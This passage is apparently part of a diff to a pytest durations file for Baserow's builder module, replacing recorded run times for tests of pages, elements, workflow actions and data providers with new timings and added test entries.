0.1473302500007776, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param_key": 0.15142999999989115, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param_semantics": 0.14587912500064704, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_path_param_not_defined": 0.15123387499988894, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_path_param_not_in_path": 0.1511564170004931, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_user_not_in_workspace": 0.1499508329989112, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page": 0.1552534160000505, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page_page_not_exist": 0.14788233299896092, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page_user_not_in_workspace": 0.14843295900118392, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages": 0.15387333299986494, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_application_does_not_exist": 0.15221129200017458, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_page_not_in_builder": 0.2832977080006458, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_user_not_in_workspace": 0.1505511250015843, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page": 0.1521109589994012, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_name": 0.15322762500090903, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_path": 0.1537141660000998, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_path_advanced": 0.15452029100015352, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_path_params_in_path": 0.15236054100023466, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_invalid_page_path_param_semantics": 0.1489696680000634, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_page_does_not_exist": 0.1462445420002041, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_defined": 0.15407854199929716, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_in_path_existing_path": 0.15088420899974153, - "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_in_path_new_path": 0.15241024999977526, - "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_get_builder_application": 0.29803370900026493, - "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications": 0.2948393339993345, - "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_equal_number_of_queries_n_builders": 0.21196141700056614, - "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_theme": 0.17887762400005158, - "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_theme_config_block_created_number_of_queries": 0.19386120899889647, - "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme": 0.16607083399958356, - "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_invalid_value": 0.1478852079999342, - "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_user_no_access_to_workspace": 0.15072212500035675, - "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_user_workspace_doesnt_exist": 0.14944020799885038, - "tests/baserow/contrib/builder/api/user_sources/test_user_sources_views.py::test_list_roles_endpoint_returns_zero_roles_by_default": 0.16915595899990876, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_create_row_workflow_action": 0.2942220000004454, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_delete_row_workflow_action": 0.2911425420006708, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_notification_workflow_action": 0.2858587080008874, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_update_row_workflow_action": 0.2885173749991736, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_element_does_not_exist": 0.30849237400070706, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_event_does_not_exist": 0.30155145800017635, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_page_does_not_exist": 0.1448160009995263, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_delete_workflow_actions": 0.15332283299903793, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_create_row_workflow_action": 0.4510913329986579, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_update_row_workflow_action": 0.45123216599949956, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_workflow_action_with_invalid_form_data": 0.4297637509998822, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_get_workflow_actions": 0.1532204160002948, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions": 0.2957059999998819, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_page_does_not_exist": 0.14470566599902668, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_workflow_action_does_not_exist": 0.1502532489994337, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_workflow_action_not_in_element": 0.2876829569995607, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_patch_workflow_actions": 0.15212225100094656, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_public_workflow_actions_view": 0.15571816800093075, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_create_row_workflow_action": 0.44770833299935475, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_delete_row_workflow_action": 0.4336852500000532, - "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_update_row_workflow_action": 0.4398530430007668, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_get_data_chunk": 0.6117509170007907, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_get_data_chunk_without_record_index": 0.28255320900007064, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_type_import_path": 0.3004499169992414, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_data_provider_get_data_chunk": 0.3356183759997293, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_context_data_provider_import_path": 0.2838026669996907, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk": 0.18385283299994626, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula": 0.18277520800074853, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_recursion": 0.1915583340005469, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_to_missing_datasource": 0.1873955000000933, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_datasource": 0.2003119600003629, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_datasource_calling_each_others": 0.19575675100077206, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_list_datasource": 0.20244933300000412, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_get_row_datasource_and_field": 0.5551762080003755, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_list_row_datasource_and_field": 0.5827910850002809, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_missing_get_row_datasource": 0.01313454099908995, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_only_datasource": 0.5459522100009053, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_get_data_chunk": 0.008078251001279568, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_type_import_path": 0.15127070900143735, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_validate_data_chunk": 0.008527750998837291, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_page_parameter_data_provider_get_data_chunk": 0.008595291001256555, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_get_data_chunk": 0.00788266700146778, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_import_path": 0.011088623999057745, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_table_element_formula_migration_with_current_row_provider": 0.5820788759992865, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_translate_default_user_role_returns_same_role": 0.1436026250003124, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_translate_default_user_role_returns_translated_role": 0.2821610420005527, - "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_user_data_provider_get_data_chunk": 0.14327829199919506, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_create_data_source": 0.1493128339998293, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_delete_data_source": 0.2882104169993909, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_dispatch_data_source": 0.17944529200121906, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_dispatch_data_sources": 0.1876880429990706, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_source": 0.2876144999991084, - "tests/baserow/contrib/builder/data_sources/test_data_source_handler.py::test_get_data_source_does_not_exist": 0.013647459000821982, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_bad_style_property": 0.2020374159910716, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_does_not_exist": 0.09135095801320858, + "tests/baserow/contrib/builder/api/elements/test_element_views.py::test_update_element_styles": 0.180927958979737, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_cant_set_an_image_that_does_not_exist": 0.09921766701154411, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_create_cant_set_image_of_incorrect_type": 0.10156524900230579, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_create_image_element": 0.11012037598993629, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_get_image_element": 0.10941312499926426, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_image_file_can_be_deleted": 0.1158274170011282, + "tests/baserow/contrib/builder/api/elements/test_image_element.py::test_image_file_is_not_deleted_when_not_explicitly_set": 0.12592016602866352, + "tests/baserow/contrib/builder/api/elements/test_menu_element.py::test_can_update_menu_element_items": 0.11868449999019504, + "tests/baserow/contrib/builder/api/elements/test_menu_element.py::test_create_menu_element": 0.10633224903722294, + "tests/baserow/contrib/builder/api/elements/test_menu_element.py::test_get_menu_element": 0.11819183296756819, + "tests/baserow/contrib/builder/api/elements/test_record_selector_element.py::test_record_selector_element_api_rejects_schema_property": 0.12509020799188875, + "tests/baserow/contrib/builder/api/elements/test_record_selector_element.py::test_record_selector_element_form_submission": 0.29896249997545965, + "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_create_a_table_element": 0.11707937406026758, + "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_get_a_table_element": 0.1970577079919167, + "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_can_update_a_table_element_fields": 0.21590541600016877, + "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_cant_update_a_table_element_fields_with_wrong_field_property": 0.1862429580069147, + "tests/baserow/contrib/builder/api/elements/test_table_element.py::test_cant_update_a_table_element_fields_with_wrong_field_type": 0.19007516599958763, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page": 0.10344549897126853, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_application_does_not_exist": 0.09102854199591093, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_name": 0.10872308298712596, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_path": 0.10509320901473984, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_page_path_advanced": 0.10629216697998345, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_duplicate_path_params_in_path": 0.10205033398233354, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_incorrect_data_structure": 0.09108045799075626, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path": 0.09128533399780281, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param": 0.09153549998882227, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param_key": 0.08958933301619254, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_invalid_page_path_param_semantics": 0.09200020800926723, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_path_param_not_defined": 0.10195566600305028, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_path_param_not_in_path": 0.10098141600610688, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_create_page_user_not_in_workspace": 0.10004558300715871, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page": 0.11152891701203771, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page_page_not_exist": 0.08948858399526216, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_page_user_not_in_workspace": 0.09861454195925035, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_delete_shared_page": 0.10279604297829792, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages": 0.1047568770009093, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_application_does_not_exist": 0.10000541596673429, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_page_not_in_builder": 0.1773690819973126, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_shared_page": 0.1012740419828333, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_order_pages_user_not_in_workspace": 0.09880762398825027, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page": 0.1027704169973731, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_name": 0.10387508402345702, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_path": 0.09955724998144433, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_page_path_advanced": 0.10204041699762456, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_duplicate_path_params_in_path": 0.09958391601685435, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_invalid_page_path_param_semantics": 0.0941822080349084, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_page_does_not_exist": 0.08937141700880602, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_defined": 0.09944237599847838, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_in_path_existing_path": 0.09741308298544027, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_page_path_param_not_in_path_new_path": 0.09736566702486016, + "tests/baserow/contrib/builder/api/pages/test_page_views.py::test_update_shared_page": 0.09598149996600114, + "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_get_builder_application": 0.21544837500550784, + "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications": 0.20992533402750269, + "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_equal_number_of_queries_n_builders": 0.2458009590045549, + "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_theme": 0.16897625001729466, + "tests/baserow/contrib/builder/api/test_builder_application_views.py::test_list_builder_applications_theme_config_block_created_number_of_queries": 0.19916537500103004, + "tests/baserow/contrib/builder/api/test_builder_serializer.py::test_login_page_is_saved": 0.15861895796842873, + "tests/baserow/contrib/builder/api/test_builder_serializer.py::test_validate_login_page_id_raises_error_if_shared_page": 0.09898745705140755, + "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme": 0.1294117079814896, + "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_invalid_value": 0.09346316600567661, + "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_user_no_access_to_workspace": 0.1000896249897778, + "tests/baserow/contrib/builder/api/theme/test_theme_views.py::test_update_theme_user_workspace_doesnt_exist": 0.09425095800543204, + "tests/baserow/contrib/builder/api/user_sources/test_user_sources_views.py::test_list_roles_endpoint_returns_zero_roles_by_default": 0.11867991802864708, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_create_row_workflow_action": 0.19128895897301845, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_delete_row_workflow_action": 0.18510183299076743, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_notification_workflow_action": 0.18327191699063405, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_row_action_can_access_the_field_of_previous_action": 0.35254291695309803, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_update_row_workflow_action": 0.17441029101610184, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_element_does_not_exist": 0.32133654097560793, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_event_does_not_exist": 0.32147770797018893, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_create_workflow_action_page_does_not_exist": 0.0893156660022214, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_delete_workflow_actions": 0.11030162501265295, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_create_row_workflow_action": 0.3062870409921743, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_update_row_workflow_action": 0.3244358329975512, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_update_row_workflow_action_using_formula_with_data_source": 0.43990787499933504, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_upsert_row_workflow_action_with_current_record": 0.23505858299904503, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_local_baserow_upsert_row_workflow_action_with_unmatching_index_and_record_id": 0.8868230840016622, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_dispatch_workflow_action_with_invalid_form_data": 0.35296637497958727, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_get_workflow_actions": 0.10269020797568373, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_notification_action_can_access_the_field_of_previous_action": 0.27559254100196995, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions": 0.1794604569731746, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_page_does_not_exist": 0.08811587595846504, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_workflow_action_does_not_exist": 0.10163033299613744, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_order_workflow_actions_workflow_action_not_in_element": 0.18093370899441652, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_patch_workflow_actions": 0.10516754197306, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_public_workflow_actions_view": 0.19608845899347216, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_create_row_workflow_action": 0.2900381250074133, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_delete_row_workflow_action": 0.284551457996713, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_update_update_row_workflow_action": 0.31008754202048294, + "tests/baserow/contrib/builder/api/workflow_actions/test_workflow_actions_views.py::test_workflow_action_dispatch_does_not_return_fields": 0.2768236249976326, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_called_with_correct_path[False-None]": 0.014911667007254437, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_called_with_correct_path[False-field_123]": 0.014649000018835068, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_called_with_correct_path[True-None]": 0.015281291009159759, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_called_with_correct_path[True-field_123]": 0.014599207992432639, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_calls_correct_service_type": 0.014851500018266961, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_raises_if_data_source_doesnt_exist[10-999]": 0.015151375002460554, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_raises_if_data_source_doesnt_exist[20-888]": 0.014345875009894371, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_returns_empty_if_invalid_data_source_id": 0.0145674160157796, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_returns_expected_results": 0.2368191240238957, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_returns_none_if_data_source_id_missing[path0]": 0.014145583001663908, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_returns_none_if_data_source_id_missing[path1]": 0.014454790973104537, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_extract_properties_returns_none_if_data_source_id_missing[path2]": 0.014420458028325811, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_get_data_chunk": 0.3800319579895586, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_get_data_chunk_for_idx": 0.013961625983938575, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_get_data_chunk_without_record_index": 0.1673645839910023, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_current_record_provider_type_import_path": 0.14770266498089768, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_provider_type_extract_properties_base_method": 0.013802124973153695, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_data_provider_extract_properties_raises_if_data_source_doesnt_exist[path0]": 0.015240791981341317, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_data_provider_extract_properties_raises_if_data_source_doesnt_exist[path1]": 0.014629748970037326, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_data_provider_get_data_chunk": 0.16753770894138142, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_extract_properties_calls_correct_service_type": 0.015430083003593609, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_extract_properties_returns_expected_results": 0.22357229099725373, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_extract_properties_returns_none_if_invalid_data_source_id[path0]": 0.015446916950168088, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_extract_properties_returns_none_if_invalid_data_source_id[path1]": 0.014754165982594714, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_context_extract_properties_returns_none_if_invalid_data_source_id[path2]": 0.01471916600712575, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_context_data_provider_import_path": 0.1077180829597637, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_extract_properties_calls_correct_service_type": 0.015879917045822367, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_extract_properties_returns_expected_results": 0.225528042006772, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_extract_properties_returns_none_if_invalid_data_source_id[path0]": 0.01609112400910817, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_extract_properties_returns_none_if_invalid_data_source_id[path1]": 0.015040166006656364, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_extract_properties_returns_none_if_invalid_data_source_id[path2]": 0.01576875103637576, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_extract_properties_raises_if_data_source_doesnt_exist[path0]": 0.014657749998150393, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_extract_properties_raises_if_data_source_doesnt_exist[path1]": 0.015075290983077139, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk": 0.16683987498981878, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula": 0.16447666598833166, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_recursion": 0.20551345899002627, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_to_missing_datasource": 0.197304041008465, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_another_datasource": 0.23151749995304272, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_datasource": 0.21909320799750276, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_datasource_calling_each_others": 0.2112450010026805, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_formula_using_list_datasource": 0.23912300003576092, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_data_provider_get_data_chunk_with_list_data_source": 0.15403545802109875, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_get_row_datasource_and_field": 0.23354349899454974, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_list_row_datasource_and_field": 0.23122099999454804, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_missing_get_row_datasource": 0.019881625019479543, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_data_source_formula_import_only_datasource": 0.1905147079960443, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_extract_properties_base_implementation": 0.013335292023839429, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_get_data_chunk": 0.015437959023984149, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_type_import_path": 0.10368979201302864, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_form_data_provider_validate_data_chunk": 0.015724999975645915, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_get_dispatch_action_cache_key[1-2-builder_dispatch_action_1_2]": 0.014036000007763505, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_get_dispatch_action_cache_key[123-456-builder_dispatch_action_123_456]": 0.013502207992132753, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_get_dispatch_action_cache_key[234-567-builder_dispatch_action_234_567]": 0.014439666992984712, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_page_parameter_data_provider_get_data_chunk": 0.015017458004876971, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_get_data_chunk": 0.17268195797805674, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_get_data_chunk_returns_cached_result": 0.24463604201446287, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_import_path": 0.016277833026833832, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_post_dispatch_caches_result": 0.014521084987791255, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_data_provider_post_dispatch_with_empty_response_cache_result": 0.014437957986956462, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_raises_if_invalid_service_id": 0.016498001001309603, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_returns_empty_if_invalid_path_parts[path0]": 0.015157374000409618, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_returns_empty_if_invalid_path_parts[path1]": 0.014440750994253904, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_returns_empty_if_invalid_path_parts[path2]": 0.014717290992848575, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_returns_empty_if_invalid_path_parts[path3]": 0.015244916983647272, + "tests/baserow/contrib/builder/data_providers/test_data_provider_types.py::test_previous_action_extract_properties_returns_service_id_and_field_id": 0.2982075840118341, + 